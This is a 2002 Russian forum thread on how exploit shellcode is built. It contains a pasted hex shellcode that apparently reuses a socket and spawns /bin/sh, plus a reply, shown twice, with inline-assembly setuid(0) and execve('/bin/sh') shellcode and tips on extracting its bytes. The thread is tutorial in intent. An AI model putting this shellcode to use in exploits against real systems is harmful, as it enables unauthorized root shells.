Легенда:
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
 |
Чуть более подробно :) 15.08.02 10:34 Число просмотров: 1173
Автор: Dude Статус: Незарегистрированный пользователь Отредактировано 15.08.02 10:36 Количество правок: 2
|
Это машинный код, отвечающий за выполнение команды sh - потому он и называется шеллкодом, как ты справедливо заметил. Кстати, раз уж заметил, попробуй поискать в поисковике, информации много. Хорошим руководством может служить статья Aleph1 в phrack'е. Кроме того, чисто о написании шеллкодов, http://www.fee1dead.h1.ru/lit/hack/s_hell/VOIDRUshell.txt (и где-то на void.ru, соответственно :)
Обычно пишется прога, ассемблится и собирается, потом оттуда вырезают сам код и вставляют в строку, чтобы прога с повышенными привилегиями запустила его (как? RTFM :). Единственно, мне больше нравится вставлять асм прямо в сишный код - по-моему, нагляднее и удобнее. Например:
/* начало эксплоита */
void sploit ()
{
_asm_("\
CODE_LEN = 0x28 ;
INSTR_LEN = 0x7 ;
genesis: ;
jmp . + CODE_LEN ;
;
/* setting uid to 0 */ ;
xorl %eax, %eax ;
movb $23, %al ;
xorl %ebx, %ebx ;
int $0x80 ;
;
/* performing the main work */ ;
popl %esi ;
xorl %eax, %eax ;
movb %al, INSTR_LEN(%esi) ;
movl %esi, (INSTR_LEN+1)(%esi) ;
movl %eax, (INSTR_LEN+5)(%esi) ;
;
movb $11, %al ;
movl %esi, %ebx ;
leal (INSTR_LEN+1)(%esi), %ecx ;
xorl %edx, %edx ;
int $0x80 ;
;
xorl %eax, %eax ;
incl %eax ;
xorl %ebx, %ebx ;
int $0x80 ;
;
call . - CODE_LEN + 2 ;
sh: .ascii \"/bin/sh\" ;
");
}
void sploit_end () {}
/* остальная часть эксплоита */
После чего можно копировать код из sploit (или sploit+3, чтобы пропустить сохранение регистра ebp), всего копировать (sploit_end - sploit) байт. Причин не делать так я вижу мало. Единственно, надо проверить, чтобы не было нулевых байтов. Но когда привыкаешь, это и так видно. Кроме того, вряд ли получится так писать, если, например, 1) ломаешь big endian с little endian, 2) эсплоит на перле - но это не такие уж частые явления, по-моему.
Кстати, приблизительно так и выглядит, наверное, тот код, который ты привел, только на чистом асме.
|
<programming>
|
Shellcode 14.08.02 20:59 [ZloyShaman]
Автор: nporpammuct Статус: Незарегистрированный пользователь
|
Почти во всех эксплойтах встречаешь, что-то типа:
char shellcode[] =
"\x89\xe2\x83\xec\x10\x6a\x10\x54\x52\x6a\x00\x6a\x00\xb8\x1f"
"\x00\x00\x00\xcd\x80\x80\x7a\x01\x02\x75\x0b\x66\x81\x7a\x02"
"\x42\x41\x75\x03\xeb\x0f\x90\xff\x44\x24\x04\x81\x7c\x24\x04"
"\x00\x01\x00\x00\x75\xda\xc7\x44\x24\x08\x00\x00\x00\x00\xb8"
"\x5a\x00\x00\x00\xcd\x80\xff\x44\x24\x08\x83\x7c\x24\x08\x03"
"\x75\xee\x68\x0b\x6f\x6b\x0b\x81\x34\x24\x01\x00\x00\x01\x89"
"\xe2\x6a\x04\x52\x6a\x01\x6a\x00\xb8\x04\x00\x00\x00\xcd\x80"
"\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50"
"\x52\x89\xe1\x50\x51\x52\x50\xb8\x3b\x00\x00\x00\xcd\x80\xcc";
На основании чего и каким образом он составляется???
|
 |
Чуть более подробно :) 15.08.02 10:34
Автор: Dude Статус: Незарегистрированный пользователь Отредактировано 15.08.02 10:36 Количество правок: 2
|
Это машинный код, отвечающий за выполнение команды sh - потому он и называется шеллкодом, как ты справедливо заметил. Кстати, раз уж заметил, попробуй поискать в поисковике, информации много. Хорошим руководством может служить статья Aleph1 в phrack'е. Кроме того, чисто о написании шеллкодов, http://www.fee1dead.h1.ru/lit/hack/s_hell/VOIDRUshell.txt (и где-то на void.ru, соответственно :)
Обычно пишется прога, ассемблится и собирается, потом оттуда вырезают сам код и вставляют в строку, чтобы прога с повышенными привилегиями запустила его (как? RTFM :). Единственно, мне больше нравится вставлять асм прямо в сишный код - по-моему, нагляднее и удобнее. Например:
/* начало эксплоита */
void sploit ()
{
_asm_("\
CODE_LEN = 0x28 ;
INSTR_LEN = 0x7 ;
genesis: ;
jmp . + CODE_LEN ;
;
/* setting uid to 0 */ ;
xorl %eax, %eax ;
movb $23, %al ;
xorl %ebx, %ebx ;
int $0x80 ;
;
/* performing the main work */ ;
popl %esi ;
xorl %eax, %eax ;
movb %al, INSTR_LEN(%esi) ;
movl %esi, (INSTR_LEN+1)(%esi) ;
movl %eax, (INSTR_LEN+5)(%esi) ;
;
movb $11, %al ;
movl %esi, %ebx ;
leal (INSTR_LEN+1)(%esi), %ecx ;
xorl %edx, %edx ;
int $0x80 ;
;
xorl %eax, %eax ;
incl %eax ;
xorl %ebx, %ebx ;
int $0x80 ;
;
call . - CODE_LEN + 2 ;
sh: .ascii \"/bin/sh\" ;
");
}
void sploit_end () {}
/* остальная часть эксплоита */
После чего можно копировать код из sploit (или sploit+3, чтобы пропустить сохранение регистра ebp), всего копировать (sploit_end - sploit) байт. Причин не делать так я вижу мало. Единственно, надо проверить, чтобы не было нулевых байтов. Но когда привыкаешь, это и так видно. Кроме того, вряд ли получится так писать, если, например, 1) ломаешь big endian с little endian, 2) эсплоит на перле - но это не такие уж частые явления, по-моему.
Кстати, приблизительно так и выглядит, наверное, тот код, который ты привел, только на чистом асме.
|
 |
Shellcode 15.08.02 01:09
Автор: Biasha <Бяша> Статус: Member
|
> Почти во всех эксплойтах встречаешь, что-то типа: > char shellcode[] = > ... > На основании чего и каким образом он составляется???
На основании поставленной цели. Для разных программных/аппаратных платформ и разных случаев различаются.
Тем образом, каким удобней. Обычно :) пишется на асме.
|
|
|